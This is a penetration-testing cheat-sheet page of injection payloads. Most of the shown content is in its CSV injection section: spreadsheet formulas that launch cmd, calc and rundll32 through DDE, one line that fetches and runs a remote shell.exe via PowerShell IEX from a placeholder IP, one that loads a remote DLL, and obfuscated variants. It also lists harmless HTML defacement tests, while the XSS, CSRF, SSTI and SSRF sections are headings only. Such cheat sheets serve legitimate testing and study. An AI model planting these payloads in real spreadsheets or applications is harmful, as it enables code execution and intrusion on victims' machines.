Page cover
For the complete documentation index, see llms.txt. This page is also available as Markdown.

XSS / CSV / HTMLi / (S/C)SRF / SSTI

01. HTML Injection

  • Basic Test Payloads

<h1>h4rithd was here</h1>
<b>h4rithd was here<b>
<img src="https://media.giphy.com/media/3XpvBjjMWtYYIOtOlp/giphy.gif"/>
<img src="https://media.tenor.com/He2W0AQvZfsAAAAC/hacked-hack.gif"/>

<marquee direction="up">h4rithd was here.</marquee>
<marquee direction="left" behavior="alternate">h4rithd was here</marquee>
<marquee behavior="scroll" direction="up"><img src="https://c.tenor.com/uXWSDlYIKl0AAAAM/danceroblox.gif"/></marquee>

02. CSV Injection

## ------------------| Basic Formula Injection
=cmd|'/C calc'!A0
=cmd|'/C notepad'!A1
=10+20+cmd|' /C calc'!A0
@SUM(1+9)*cmd|' /C calc'!A0
=HYPERLINK("http://h4rithd.com","Click Here")
=msexcel|'\..\..\..\Windows\System32\cmd.exe /c calc.exe'!'A1'

## ------------------| Dynamic Data Exchange (DDE) Payloads
=DDE("cmd";"/C calc";"!A0")A0
=cmd|'/C powershell IEX(wget <IP>/shell.exe)'!A0

## ------------------| Rundll32 Execution Payloads
=cmd|'/c rundll32.exe \\<IP>\1.dll,0'!_xlbgnm.A1
=rundll32|'URL.dll,OpenURL calc.exe'!A

## ------------------| Obfuscation Techniques
=AAAA+BBBB-CCCC&"Hello"/12345&cmd|'/c calc.exe'!A
=cmd|'/c calc.exe'!A*cmd|'/c calc.exe'!A
=         cmd|'/c calc.exe'!A
=    C    m D                    |        '/        c       c  al  c      .  e                  x       e  '   !   A

## ------------------| Google Sheets Remote Fetch
=IMPORTXML("http://h4rithd.com/data", "//data")
=IMPORTDATA("http://h4rithd.com/data.csv")
=IMPORTRANGE("http://h4rithd.com/spreadsheet", "Sheet1!A1")

03. Cross Site Scripting (XSS)

  • Steal Cookie

  • Payloads

  • Send with cors

  • Server Side XSS

  • Other APIs

04. Cross-Site Request Forgery (CSRF)

  • Create Payload

05. Server-Side Template Injection (SSTI)

source:PayloadsAllTheThings
  • Click here for list of payloads.

06. Server-Side Request Forgery (SSRF)

Last updated